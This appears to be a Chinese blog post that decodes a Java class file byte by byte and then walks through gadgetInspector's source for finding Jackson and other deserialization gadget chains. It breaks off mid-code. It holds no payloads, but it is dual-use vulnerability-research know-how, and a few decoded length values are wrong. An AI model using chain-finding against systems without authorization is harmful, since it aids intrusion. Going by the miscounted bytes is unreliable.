CA FE BA BE 00 00 00 34 00 18 0A 00 04 00 14 08 00 15 07 00 16 07 00 17 01 00 06 3C 69 6E 69 74 3E 01 00 03 28 29 56 01 00 04 43 6F 64 65 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61 62 6C 65 01 00 12 4C 6F 63 61 6C 56 61 72 69 61 62 6C 65 54 61 62 6C 65 01 00 04 74 68 69 73 01 00 1C 4C 63 6F 6D 2F
class文件结构如下
0x01 魔术头 Magic Number-4Byte
class文件的魔术头为四字节并且值固定,可以看到为如下内容,这个十六进制表达还是挺有意思的
CA FE BA BE
0x02 版本号 Version-2+2Byte
十六进制对应内容为
00 00 00 34
前面的0000为次版本号,后面的0034为主版本号,0x0034对应十进制为52,对应版本为jdk1.8,对应的我IDEA中的jdk版本也是1.8
0x03 常量池 Constant Pool-2+nByte
常量池的2+n指的是两字节的常量数量,加上nByte的常量内容,常量池存储如下内容:
接下来我们继续分析十六进制并以此说明:
首先的两个字节代表常量数量,0x0018转换为十进制为24。这里需要注意的是,常量池的常量索引并不是从0开始而是从1开始,因此24表示常量池中共有23个常量,索引以此为1-23,并且在.class文件中,只有常量池的下标是从0开始,后面的接口、属性、方法等下表依然都是从0开始计数:
00 18
CONSTANT-1
根据上面的表格,我们可以发现不论是何种类型的常量,都是以u1(1字节)的tag位作为起始,因此我们向下读取一字节,为第一个常量的tag,为0x0A:
0A
0x0A对应十进制10,我们在表格中寻找值为10的索引,可以找到该常量类型为CONSTANT_Methodref_info,并且接下来还分别有两个u2的index,我们继续向下读取两个字节,则对应表格中指向声明方法的类描述符的索引项,这些东西的作用我们到后面就会知道了,先继续往下看
00 04
继续向下读取两个字节,对应指向名称及类型描述符索引项,值为20
00 14
constant#1:
0x0a:Methodref_info
0x00 04:Class_info索引项#4
0x00 14:NameAndType索引项#20
CONSTANT-2
向下读取1B,即为第二个常量的TAG位,值为08,对应表格中CONSTANT_Fieldref_info,依旧是两个u2的index
constant#2:
0x08:String_info
0x00 15::指向字符串字面量#21
CONSTANT-3
0x07:Class_info
0x00 16:全局限定名常量项索引#22
CONSTANT-4
0x07:Class_info
0x00 17:全局限定名常量项索引#23
CONSTANT-5
0x01:Utf8_info
0x00 06:字符串长度为6
0x3C 69 6E 69 74 3E:字符串<init>
CONSTANT-6
0x01:Utf8-info
0x00 03:字符串长度为3
0x28 29 56:字符串()V
CONSTANT-7
0x01:Utf8-info
0x00 04:字符串长度为4
0x43 6F 64 65:字符串Code
CONSTANT-8
0x01:Utf8-info
0x00 0F:字符串长度为15
0x4C 69 6E 65 4E 75 6D 62 65 72 54 61 62 6C 65:字符串LineNumberTable
CONSTANT-9
0x01:Utf8-info
0x00 12:字符串长度为18
0x4C 6F 63 61 6C 56 61 72 69 61 62 6C 65 54 61 62 6C 65:字符串LocalVariableTable
CONSTANT-10
0x01:Utf8-info
0x00 04:字符串长度为4
0x74 68 69 73:字符串this
CONSTANT-11
0x01:Utf8-info
0x00 1C:字符串长度为28
0x4C 63 6F 6D 2F 79 31 7A 68 33 65 37 2F 54 65 73 74 2F 43 6C 61 73 73 54 65 73 74 3B:字符串Lcom/y1zh3e7/Test/ClassTest;
CONSTANT-12
0x01:Utf8-info
0x00 04:字符串长度为4
0x6D 61 69 6E:字符串main
CONSTANT-13
0x01:Utf8-info
0x00 16:字符串长度为22
0x28 5B 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 29 56:字符串([Ljava/lang/String;)V
CONSTANT-14
0x01:Utf8-info
0x00 04:字符串长度为4
0x61 72 67 73:字符串args
CONSTANT-15
0x01:Utf8-info
0x00 13:字符串长度为19
0x5B 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B:字符串[Ljava/lang/String;
CONSTANT-16
0x01:Utf8-info
0x00 08:字符串长度为8
0x73 61 79 48 65 6C 6C 6F:字符串sayHello
CONSTANT-17
0x01:Utf8-info
0x00 08:字符串长度为18
0x4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B:字符串Ljava/lang/String;
CONSTANT-18
0x01:Utf8-info
0x00 0A:字符串长度为10
0x53 6F 75 72 63 65 46 69 6C 65:字符串SourceFile
CONSTANT-19
0x01:Utf8-info
0x00 0A:字符串长度为14
0x43 6C 61 73 73 54 65 73 74 2E 6A 61 76 61:字符串ClassTest.java
CONSTANT-20
0x0C:NameAndType_info
0x00 05:字段或方法名常量项索引#5
0x00 06:字段或方法描述符常量索引#6
CONSTANT-21
0x01:Utf8-info
0x00 0C:字符串长度为12
0x48 65 6C 6C 6F 20 57 6F 72 6C 64 21:字符串Hello World!
CONSTANT-22
0x01:Utf8-info
0x00 1A:字符串长度为26
0x63 6F 6D 2F 79 31 7A 68 33 65 37 2F 54 65 73 74 2F 43 6C 61 73 73 54 65 73 74:字符串com/y1zh3e7/Test/ClassTest
CONSTANT-23
0x01:Utf8-info
0x00 10:字符串长度为16
0x6A 61 76 61 2F 6C 61 6E 67 2F 4F 62 6A 65 63 74:字符串java/lang/Object
0x04 访问标志位 Access Flags-2Byte
访问标志位包括一个class文件的属性(如是类还是接口,是否被定义成public,是否是abstract,是否是final)
我们向下读取两个Byte0x0021,代表的是0x0020和0x0001的集合,意思是该类为public,并且继承object(0x06父类索引)
0x05 类索引-2Byte
类索引可以确定类的全局限定名称,我们读取两个字节为0x00 03,对应常量池第三个常量CONSTANT-3,可以发现CONSTANT-3:0x00 16:全局限定名常量项索引#22,所以继续去CONSTANT-22查找对应常量,得到全局限定类名com/y1zh3e7/Test/ClassTest
0x06 父类索引-2Byte
0X00 04,对应CONSTANT-4,0x00 17:全局限定名常量项索引#23,对应java/lang/Object
0X07 接口索引-2+n
2+n依旧指两个字节代表接口数量,n代表接口表,我们向下读取两个字节0X00 00,即接口数量为0,自然也没有n了
0x08 字段表集合-2+nByte
字段表中包含了类中声明的变量,以及实例化后的变量,但是不包括方法内声明的局部变量,因此继续向下读取两个字节,可以发现也是0x00 00,因为我们的变量是定义在psvm中,如果将代码修改如下:
public class ClassTest {
String sayHello = "Hello World!";
}
那么此处的2byte则为0x00 01
0x09 方法-2+nByte
继续读取2Byte,0X00 02,说明我们的类中有两个方法,但是代码中我们明明只有一个方法psvm,其实是因为除了接口和抽象类,在javac时会自动生成一个无参构造,我们可以反编译看到他,也可以javap后看到这个构造器:
{
public com.y1zh3e7.Test.ClassTest();
descriptor: ()V
flags: ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
LineNumberTable:
line 3: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this Lcom/y1zh3e7/Test/ClassTest;
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=1, locals=2, args_size=1
0: ldc #2 // String Hello World!
2: astore_1
3: return
LineNumberTable:
line 5: 0
line 6: 3
LocalVariableTable:
Start Length Slot Name Signature
0 4 0 args [Ljava/lang/String;
3 1 1 sayHello Ljava/lang/String;
}
我们继续向下读取两个方法,方法表结构如下:
method_info {
u2 access_flags;
u2 name_index;
u2 descriptor_index;
u2 attributes_count;
attribute_info attributes[attributes_count];
}
构造方法解析
我们按照格式来读取第一个方法:0x00 01,访问标志位,代表public方法,给出以下访问标志控制符掩码解析:
十六进制值 名称 说明
0x0001 ACC_PUBLIC 方法为 public 权限
0x0002 ACC_PRIVATE 方法为 private 权限
0x0004 ACC_PROTECTED 方法为 protected 权限
0x0008 ACC_STATIC 方法为 static 静态方法
0x0010 ACC_FINAL 方法为 final(不可被覆盖)
0x0020 ACC_SYNCHRONIZED 方法为 synchronized(同步方法)
0x0040 ACC_BRIDGE 方法是由编译器生成的桥接方法(用于泛型类型擦除)
0x0080 ACC_VARARGS 方法接受可变参数(如 String... args)
0x0100 ACC_NATIVE 方法为 native(由本地代码实现)
0x0400 ACC_ABSTRACT 方法为 abstract(抽象方法,无实现)
0x0800 ACC_STRICT 方法为 strictfp(严格浮点模式)
0x1000 ACC_SYNTHETIC 方法是由编译器生成的(如默认构造方法、枚举类的 values() 方法等)
控制符可以组合使用,如
public static 方法:0x0001 (ACC_PUBLIC) | 0x0008 (ACC_STATIC) = 0x0009
private final synchronized 方法:0x0002 | 0x0010 | 0x0020 = 0x0032
其中某些标志不能同时存在(如 public、private、protected 只能三选一)。
0x00 05,name_index代表方法索引名,我们去CONSTANT-5进行查找为<init>,这是字节码中对构造方法的专用描述。
0x00 06,方法描述符索引。查找CONSTANT-6,为()V。方法描述符的语法是 (参数类型)返回类型,其中 V 表示 void(即无返回值)。():表示方法没有参数。V:表示方法的返回类型为 void。
为什么构造方法的返回类型是 void?虽然构造方法在 Java 语法中没有显式返回值,但在字节码层面,构造方法的返回类型被标记为 void。实际上,构造方法隐式返回构造的实例对象(this),但这一过程由 JVM 自动处理,不需要在描述符中体现。
0x00 01,attributes_count,这里引入属性表的概念。属性表可以描述方法的专有信息,这里则代表了该方法的属性表数量为一个。
通用属性表结构如下:
attribute_info { u2 attribute_name_index; u4 attribute_length; u1 info[attribute_length];}
根据通用属性表结构,我们读取一个u2,0x00 07到CONSTANT-7中查找,发现是Code。
在 JVM 的 .class 文件中,Code、LineNumberTable、LocalVariableTable 和 SourceFile 是类文件属性的重要组成部分,分别用于描述方法的行为、调试信息、局部变量与源码的映射关系,以及源码文件的元数据。
Code属性:
Code 属性是方法表(method_info)中的核心属性,作用如下:
存储字节码:包含方法的具体指令(如 aload_0, invokespecial 等)。
定义执行环境:通过 max_stack 和 max_locals 告诉 JVM 如何分配栈帧内存。
异常处理:通过 exception_table 定义 try-catch 块的范围和异常类型。
关联调试信息:通过子属性(如 LineNumberTable)将字节码与源码关联。
Code属性结构如下:
Code_attribute {
u2 attribute_name_index;
u4 attribute_length;
u2 max_stack;
u2 max_locals;
u4 code_length;
u1 code[code_length];
u2 exception_table_length;
{ u2 start_pc;
u2 end_pc;
u2 handler_pc;
u2 catch_type;
} exception_table[exception_table_length];
u2 attributes_count;
attribute_info attributes[attributes_count];
}
继续读取一个u4,attribute_length,0x0000002F代表接下来的47个字节为Code属性的指令字节码。
读取一个u2,0x00 01,max_stack,代表操作数栈最大深度1,一会我们在分析字节码指令时就知道这是什么意思了。
0X00 01,max_locals,代表方法的局部变量表大小为1,局部变量为this,因为所有实例方法(非静态方法)和构造方法的第一个局部变量槽位(索引 0)都存储了当前对象的引用(即 this)。这是 JVM 的隐式规则,无需在代码中显式声明,因此在psvm这个静态方法中就不会包含this了。此外如果该构造方法为有参构造,那么max_locals数量会+n(参数列表的参数数量)
0x00 00 00 05,code_length为指令长度,也就是说接下来的五个字节为指令。
2A B7 00 01 B1,我们分别来分析这几条指令的作用。2A对应指令aload_0,用于加载局部方法表中的参数到操作数栈中,因此这一步会将this加载到操作数栈上。B7 对应指令invokespecial ,00 01对应CONSTANT-1,即调用父类构造方法。B1对应指令return,方法返回。
0x00 00,exception_table_length,代表异常表为空。
0x00 02,attributes_count,代表该Code属性中还包含了两个子属性。
0x00 08,对应CONSTANT-8,LineNumberTable,则说明该子属性为一个LineNumberTable。
LineNumberTable 属性:
Code 属性的子属性,记录 字节码偏移量 与 源码行号 的映射关系,作用如下:
调试支持:在 IDE 或异常堆栈中显示源码行号(如 Exception in thread "main" java.lang.NullPointerException at Test.java:12)。
反编译辅助:帮助工具(如 javap)生成更易读的反编译结果。
优化限制:若省略此属性,JIT 编译器可能无法进行某些优化(如基于行号的 Profiling)。
LineNumberTable属性结构如下:
LineNumberTable_attribute { u2 attribute_name_index; u4 attribute_length; u2 line_number_table_length; { u2 start_pc; u2 line_number; } line_number_table[line_number_table_length];}
0x00 00 00 06,attribute_length,代表接下来的六字节为属性。
00 01,line_number_table_length为1,代表了下面的line_number_table长度为1。
每个line_number_table包含两个字段,0x00 00对应start_pc,0x00 03对应line_number,这两个字段负责将字节码偏移量与源码行数进行映射,start_pc对应字节码偏移量,line_number对应源码行数,因此0003意思是将第0行开始的字节码指令全部与第三行源码进行对应。如果line_number_table长度不为1,还会有多个start_pc来负责映射字节码指令和源码的关系。比如如果还有一组start_pc=3,line_number=4,那么两组映射关系意思是字节码偏移量0-2对应源码第三行,字节码偏移量3及之后的指令对应源码第四行。
我们继续向下读取第Code的第二个子属性,0x00 09,对应CONSTANT-9,LocalVariableTable。
LocalVariableTable属性:
Code 属性的子属性,记录 局部变量名、类型 及其在局部变量表中的 槽位 和作用域,作用如下:
调试支持:在 IDE 中显示局部变量名和值(如调试时查看 sayHello 变量的内容)。
反射支持:通过 Method.getParameters() 获取参数名(需编译时启用 -parameters 选项)。
反编译辅助:帮助反编译器还原变量名(否则变量名会变成 var1, var2)。
LocalVariableTable属性结构如下:
LocalVariableTable_attribute {
u2 attribute_name_index;
u4 attribute_length;
u2 local_variable_table_length;
{ u2 start_pc;
u2 length;
u2 name_index;
u2 descriptor_index;
u2 index;
} local_variable_table[local_variable_table_length];
}
0x00 0000 0C,attribute_length,代表接下来12字节为属性长度。
0x00 01,代表一个局部变量条目,因此下面的local_variable_table[1]中即为描述局部变量this的相关信息。0x00 00,start_pc,代表this的作用域从字节码偏移量0开始,作用域覆盖0x00 05length,共五个字节。
0x00 0A,name_index,指向CONSTANT-10,局部变量名为this。
0x00 0B,类的全局限定名,指向CONSTANT-11,Lcom/y1zh3e7/Test/ClassTest
0x00 00,index,指该局部变量存储在局部变量表的槽位 0(实例方法的 this 固定占用槽位 0)
main方法解析
0x00 09:访问标志,0x01和0x08的集合,即public static。
0x00 0C:name_index,指向CONSTANT-12,类名main,
0x00 0D:descriptor_index,指向CONSTANT-13,([Ljava/lang/String;)V,方法接收参数为String,返回类型为viod。
0x00 01:attributes_count,属性数量为1。
继续解析属性:
字段十六进制值十进制值/说明attribute_name_index00 07指向常量池第 7 项("Code")attribute_length00 00 00 3C属性总长度:60 字节max_stack00 01操作数栈最大深度:1max_locals00 02局部变量表大小:2(args 和 sayHello)code_length00 00 00 04字节码长度:4 字节字节码12 02 4C B1指令解析:12 02ldc #2(加载常量 "Hello World!")4Castore_1(存储到局部变量 1)B1return(方法返回)exception_table_length
子属性 1:LineNumberTable
字段十六进制值说明attribute_name_index00 08常量池第 8 项("LineNumberTable")attribute_length00 00 00 0A长度 10 字节line_number_table_length00 022 个行号条目条目 1:start_pc00 00字节码偏移 0 → 源码第 5 行条目 1:line_number00 05条目 2:start_pc00 03字节码偏移 3 → 源码第 6 行条目 2:line_number00 06
子属性 2:LocalVariableTable
字段十六进制值说明attribute_name_index00 09常量池第 9 项("LocalVariableTable")attribute_length00 00 00 16长度 22 字节local_variable_table_length00 022 个局部变量条目条目 1:start_pc00 00变量 args 作用域起始偏移 0length00 04作用域长度 4 字节name_index00 0E常量池第 14 项(变量名 args)descriptor_index00 0F常量池第 15 项(类型 [Ljava/lang/String;)index00 00局部变量槽位
0x10 属性Attribute-2+nByte
0x00 01:属性数量1
0x0012:属性名称,CONSTANT-18,SourceFile。
SourceFile属性:
类文件的顶级属性,记录 源码文件名,作用如下:
调试支持:在异常堆栈中显示源码文件名(如 Test.java)。
代码溯源:帮助开发者快速定位源码文件。
可读性:反编译时显示原始文件名,而非匿名类名。
SourceFile文件结构如下:
SourceFile_attribute {
u2 attribute_name_index;
u4 attribute_length;
u2 sourcefile_index;
}
0x00 00 00 02,attribute_length,属性长度2.
0x00 13,sourcefile_index,指向CONSTANT-19,为ClassTest.java。
gadgetInspector分析
0x01 Intro
工具基于ASM技术来对控制字节码,从而达到对传入jar及war包的classpath下的类进行读取,并依次记录类信息、类方法信息、调用关系信息。最后基于以上收集的信息来进行反序列化链的挖掘,分别对应如下几个类:
GadgetInspector:main方法,程序的入口,做一些配置以及数据的准备工作
MethodDiscovery:类、方法数据以及父子类、超类关系数据的搜索
PassthroughDiscovery:分析参数能影响到返回值的方法,并收集存储
CallGraphDiscovery:记录调用者caller方法和被调用者target方法的参数关联
SourceDiscovery:入口方法的搜索,只有具备某种特征的入口才会被标记收集
GadgetChainDiscovery:整合以上数据,并通过判断调用链的最末端slink特征,从而判断出可利用的gadget chain
0x02 主入口-GadgetInspetcor
该类为整个工具的入口类,基本上是对于相关配置做出初始化处理,静态代码块中创建准备写入相关结果的文件。main中首先验证是否存在参数,若为空退出。工具在挖掘时需要我们指定不同的gadget-chain,如jdk原生反序列化、jackson等,以及指定classpath的路径。
接下来会对日志进行配置,之后是对历史dat文件(上面提到的类、方法等相关数据的本地化存储)的管理,以及反序列化链类型的指定。我们主要看这一部分是如何指定反序列化链类型的:
else if (arg.equals("--config")) {
//--config参数指定fuzz类型
config = ConfigRepository.getConfig(args[++argIndex]);
if (config == null) {
throw new IllegalArgumentException("Invalid config name: " + args[argIndex]);
}
跟进到getConfig方法中,并且也可以看到所有的gadget-chain是通过不同的Config来实现的,并且都实现了GIConfig接口:
public interface GIConfig {
String getName();
SerializableDecider getSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap, InheritanceMap inheritanceMap);
ImplementationFinder getImplementationFinder(
Map<Handle, MethodReference> methodMap,
Map<Handle, Set<Handle>> methodImplMap,
InheritanceMap inheritanceMap,
Map<ClassReference.Handle, Set<Handle>> methodsByClass);
SourceDiscovery getSourceDiscovery();
SlinkDiscovery getSlinkDiscovery();
}
我们以Jackson的实现来看,这些被实现的方法都会在后面用到,他们都是用来对指定gadget-chain进行区分的方法,不同的gadget-chain的特征不同,因此我们可以通过这些方法来确认对应的chain。
package gadgetinspector.config;
import gadgetinspector.ImplementationFinder;
import gadgetinspector.SerializableDecider;
import gadgetinspector.SlinkDiscovery;
import gadgetinspector.SourceDiscovery;
import gadgetinspector.data.ClassReference;
import gadgetinspector.data.InheritanceMap;
import gadgetinspector.data.MethodReference;
import gadgetinspector.data.MethodReference.Handle;
import gadgetinspector.jackson.JacksonImplementationFinder;
import gadgetinspector.jackson.JacksonSerializableDecider;
import gadgetinspector.jackson.JacksonSourceDiscovery;
import java.util.Map;
import java.util.Set;
public class JacksonDeserializationConfig implements GIConfig {
@Override
public String getName() {
return "jackson";
}
@Override
public SerializableDecider getSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap, InheritanceMap inheritanceMap) {
return new JacksonSerializableDecider(methodMap);
}
@Override
public ImplementationFinder getImplementationFinder(
Map<Handle, MethodReference> methodMap,
Map<Handle, Set<Handle>> methodImplMap,
InheritanceMap inheritanceMap,
Map<ClassReference.Handle, Set<Handle>> methodsByClass) {
return new JacksonImplementationFinder(getSerializableDecider(methodMap, inheritanceMap));
}
@Override
public SourceDiscovery getSourceDiscovery() {
return new JacksonSourceDiscovery();
}
@Override
public SlinkDiscovery getSlinkDiscovery() {
return null;
}
}
跟进JacksonSerializableDecider,两个map中记录的是可以通过Jackson决策的类和方法:
//类是否通过决策的缓存集合
private final Map<ClassReference.Handle, Boolean> cache = new HashMap<>();
//类名-方法集合 映射集合
private final Map<ClassReference.Handle, Set<MethodReference.Handle>> methodsByClassMap;
具体的决策判断逻辑在apply中,在后面的分析中我们也可以看到会调用apply方法来判断类和方法是否通过决策。以jackson的apply来举例,由于jackson的json反序列化是需要以类的无参构造为起始,在java中如果没有显式声明无参构造器,但是显式声明了一个有参构造,那么该类是没有无参构造的,因此代表着该类不可进行jackson反序列化。
@Override
public Boolean apply(ClassReference.Handle handle) {
if (isNoGadgetClass(handle)) {
return false;
}
Boolean cached = cache.get(handle);
if (cached != null) {
return cached;
}
Set<MethodReference.Handle> classMethods = methodsByClassMap.get(handle);
if (classMethods != null) {
for (MethodReference.Handle method : classMethods) {
//该类,只要有无参构造方法,就通过决策
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
cache.put(handle, Boolean.TRUE);
return Boolean.TRUE;
}
}
}
cache.put(handle, Boolean.FALSE);
return Boolean.FALSE;
}
接下来回到Config中,继续看InplementationFinder,在决策时由于Java的多态性,并且gadgetinspector无法在要被检测的jar运行时进行判断,因此当调用到某一接口的方法时,需要查找接口所有的实现类中的该方法,并将这些方法组成实际的调用链去进行污点分析。这些方法是否可进行当前指定的gadget-chain反序列化,还是需要通过apply方法来进行判断:
public class JacksonImplementationFinder implements ImplementationFinder {
private final SerializableDecider serializableDecider;
public JacksonImplementationFinder(SerializableDecider serializableDecider) {
this.serializableDecider = serializableDecider;
}
@Override
public Set<MethodReference.Handle> getImplementations(MethodReference.Handle target) {
Set<MethodReference.Handle> allImpls = new HashSet<>();
// For jackson search, we don't get to specify the class; it uses reflection to instantiate the
// class itself. So just add the target method if the target class is serializable.
if (Boolean.TRUE.equals(serializableDecider.apply(target.getClassReference()))) {
allImpls.add(target);
}
return allImpls;
}
}
继续看JacksonSourceDiscovery,内部只有一个discover方法,这个方法的作用就是帮我们找到可进行Jackson反序列化的入口方法,对于jackson反序列化来说,会以无参构造为入口,并依次执行setter以及getter。因此discover会查找出通过了apply决策后的类的无参构造(()V代表无参,返回值为viod),以及getter和setter。
@Override
public void discover(Map<ClassReference.Handle, ClassReference> classMap,
Map<MethodReference.Handle, MethodReference> methodMap,
InheritanceMap inheritanceMap, Map<MethodReference.Handle, Set<GraphCall>> graphCallMap) {
final JacksonSerializableDecider serializableDecider = new JacksonSerializableDecider(methodMap);
for (MethodReference.Handle method : methodMap.keySet()) {
if (skipList.contains(method.getClassReference().getName())) {
continue;
}
if (serializableDecider.apply(method.getClassReference())) {
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("get") && method.getDesc().startsWith("()")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("set") && method.getDesc().matches("\\(L[^;]*;\\)V")) {
addDiscoveredSource(new Source(method, 0));
}
}
继续向下看GadgetInspector,进入到initJarData方法中,通过for循环读取最后面的参数,从而指定多个jar或war包,通过URLClassLoader,根据绝对路径将这些jar或war包进行加载,并通过ClassResourceEnumerator将jar或war包中的class进行加载:
ClassLoader classLoader = initJarData(args, boot, argIndex, haveNewJar, pathList); for (int i = 0; i < args.length - argIndex; i++) {
String pathStr = args[argIndex + i];
if (!pathStr.endsWith(".jar")) {
//todo 主要用于大批量的挖掘链
//非.jar结尾,即目录,需要遍历目录找出所有jar文件
File file = Paths.get(pathStr).toFile();
if (file == null || !file.exists())
continue;
Files.walkFileTree(file.toPath(), new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (!file.getFileName().toString().endsWith(".jar"))
return FileVisitResult.CONTINUE;
File readFile = file.toFile();
Path path = Paths.get(readFile.getAbsolutePath());
if (Files.exists(path)) {
if (ConfigHelper.history) {
if (!scanJarHistory.contains(path.getFileName().toString())) {
if (jarCount.incrementAndGet() <= ConfigHelper.maxJarCount) {
pathList.add(path);
}
}
} else {
if (jarCount.incrementAndGet() <= ConfigHelper.maxJarCount) {
pathList.add(path);
}
}
}
return FileVisitResult.CONTINUE;
}
});
continue;
}
Path path = Paths.get(pathStr).toAbsolutePath();
if (!Files.exists(path)) {
throw new IllegalArgumentException("Invalid jar path: " + path);
}
pathList.add(path);
//类枚举加载器,具有两个方法
//getRuntimeClasses获取rt.jar的所有class
//getAllClasses获取rt.jar以及classLoader加载的class
final ClassResourceEnumerator classResourceEnumerator = new ClassResourceEnumerator(
classLoader);
接下来进入beginDiscovery方法中,接下来我们开始分析具体的挖掘逻辑。
0x03 类、方法、继承关系数据收集-MethodDiscovery
首先进入methodDiscovery当中,可以看到如果不存在,会生成classes.dat、methods .dat、inheritanceMap.dat,分别对类数据、方法数据以及继承关系数据进行收集:
if (!Files.exists(Paths.get("classes.dat")) || !Files.exists(Paths.get("methods.dat"))
|| !Files.exists(Paths.get("inheritanceMap.dat"))) {
LOGGER.info("Running method discovery...");
MethodDiscovery methodDiscovery = new MethodDiscovery();
methodDiscovery.discover(classResourceEnumerator);
//保存了类信息、方法信息、继承实现信息
methodDiscovery.save();
}
跟进MethodDiscovery.discover,传入了上面保存了类信息的classResourceRnumerator,并且调用了getAllClasses方法,获取到了包括rt.jar和指定jar、war包中的所有类,并调用ClassReader的accept方法进行下一步,这里所用到的就是ASM。
public void discover(final ClassResourceEnumerator classResourceEnumerator) throws Exception {
for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {
try (InputStream in = classResource.getInputStream()) {
ClassReader cr = new ClassReader(in);
try {
//使用asm的ClassVisitor、MethodVisitor,利用观察模式去扫描所有的class和method并记录
cr.accept(new MethodDiscoveryClassVisitor(), ClassReader.EXPAND_FRAMES);
} catch (Exception e) {
LOGGER.error("Exception analyzing: " + classResource.getName(), e);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
ASM及访问者模式
ASM的设计原理基于访问者模式,常用于类的属性无改变,在不侵入类的情况下并对属性的操作做出扩充的场景(类似于AOP)。用生活中的例子我们可以这么理解,想象你是一个导游,要带游客参观一个由多个景点(类、方法、字段等)组成的旅游区(Java类)。访问者模式的工作方式是这样的:
景点清单:旅游区有一份固定的景点清单(类的结构,比如方法、字段,并且这些不会变动)。
游客自由行动:游客(XXXVisitor)可以自由选择在每个景点做什么(比如拍照、记录日志、修改行为)。
导游协调:导游(ASM-ClassReader)负责按顺序带游客访问每个景点,并让游客在每个景点执行自己的操作。
ASM的关键思想:字节码(景点)的结构是固定的,但你可以通过"游客"灵活地定义在每个"景点"做什么,使用时我们需要先通过字节流等方式读入要控制的类,之后传入给ClassReader的accept方法,accept方法会按照JVM规定好的类文件结构来依次调用对应的方法,我们可以通过重写ClassVisitor的各个visit方法,在调用accept时传入,从而实现自己的visitXXX的逻辑。因为ASM是基于责任链的调用,并且支持visiter的嵌套包装来进行遍历调用,调用顺序为从最外层的子visitor开始调用,直到最内层的ClassVisitor,因此需要在我们的visit逻辑中处理下一层的
1. visit() → 访问类的基础信息(版本、类名等)
2. visitSource() → 源码信息(可选)
3. visitModule() → 模块信息(Java 9+,可选)
4. visitNestHost() → 嵌套类宿主(Java 11+,可选)
5. visitPermittedSubtype() → sealed类的许可子类(Java 17+,可选)
6. visitOuterClass() → 外部类信息(如果是内部类)
7. visitAnnotation() → 类上的注解(可能有多个)
8. visitTypeAnnotation() → 类上的类型注解(可能有多个)
9. visitAttribute() → 类的自定义属性(可能有多个)
10. visitField() → 类的字段(按字节码中的顺序访问)
11. visitMethod() → 类的方法(按字节码中的顺序访问)
12. visitEnd() → 类访问结束
我们回到MethodDiscovery.discover,在通过cr.accept后,cr先调用visit方法,因此我们跟进传入cr的MethodDiscoveryClassVisitor的visit方法,MDCV的visit方法保存了当前观察类的信息
this.name:类名
this.superName:继承的父类名
this.interfaces:实现的接口名
this.isInterface:当前类是否接口
this.members:类的字段集合
this.classHandle:gadgetinspector中对于类名的封装,可以通过类名来操作类中相关属性
public void visit ( int version, int access, String name, String signature, String superName, String[]interfaces)
{
this.name = name;
this.superName = superName;
this.interfaces = interfaces;
this.isInterface = (access & Opcodes.ACC_INTERFACE) != 0;
this.members = new ArrayList<>();
this.classHandle = new ClassReference.Handle(name);//类名
annotations = new HashSet<>();
super.visit(version, access, name, signature, superName, interfaces);
}
接下来我们跳过几个不太重要的visit,来到visitField,在cr的控制下,被观察的类有多少个字段,visitField就会被调用多少次,来对字段进行处理。参数列表分别代表属性访问限定符,属性名,属性类型,泛型,属性的初始值(只有静态字段生效)该方法调用时,会先判断该字段是否是静态if ((access & Opcodes.ACC_STATIC) == 0),之后会通过判断字段的类型,如果是Object或者数组类型,就获取其具体内部类型,如果是基本类型,就获取类型的原始描述符。
比如String类型是Object,String[]是Array,那么最后保存的是java/lang/String,Int类型保留原始描述符后为I。获取到类型后将数据保存到visit中初始化好的列表member中。
@Override
public FieldVisitor visitField(int access, String name, String desc,
String signature, Object value) {
if ((access & Opcodes.ACC_STATIC) == 0) {
Type type = Type.getType(desc);
String typeName;
if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
typeName = type.getInternalName();
} else {
typeName = type.getDescriptor();
}
members.add(new ClassReference.Member(name, access, new ClassReference.Handle(typeName)));
}
return super.visitField(access, name, desc, signature, value);
}
可以看到传入的是ClassReference的内部类Member的构造函数,我们跟进ClassReference及Member的结构,可以发现在ClassReference中通过member数组来存储字段信息,内部类Member存储了字段的名字,访问限定修饰符,以及一个Handle类型的type,用来存储属性类型。Handle也是ClassReference中的一个内部类,只有一个字段,用来存储类名。大概访问流程是每个被观测的类对应一个MethodDiscoveryClassVisitor及ClassReference,当ASM观测到一个字段时调用visitField,此时visitField
private final Member[] members; public static class Member {
private final String name;
private final int modifiers;
private final ClassReference.Handle type;
public Member(String name, int modifiers, Handle type) {
this.name = name;
this.modifiers = modifiers;
this.type = type;
} public static class Handle {
private final String name;
public Handle(String name) {
this.name = name;
}
public String getName() {
return name;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Handle handle = (Handle) o;
return name != null ? name.equals(handle.name) : handle.name == null;
}
@Override
public int hashCode() {
return name != null ? name.hashCode() : 0;
}
}
接下来进行 visitMethod,依旧是观察到多少个方法就会调用多少次,初始化一个MethodReference,传入类名,方法名,方法描述(方法的返回值类型以及参数类型,需要使用Type类来进行解析),并且将方法添加到列表discoveredMethods中。
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
boolean isStatic = (access & Opcodes.ACC_STATIC) != 0;
//找到一个方法,添加到缓存
discoveredMethods.add(new MethodReference(
classHandle,//类名
name,
desc,
isStatic));
return super.visitMethod(access, name, desc, signature, exceptions);
}
最后进入到visitEnd,刚才也说过了会将所有字段整合到一个ClassReference中,并且将整合好的ClassReference添加到discoveredClasses中
@Override
public void visitEnd() {
ClassReference classReference = new ClassReference(
name,
superName,
interfaces,
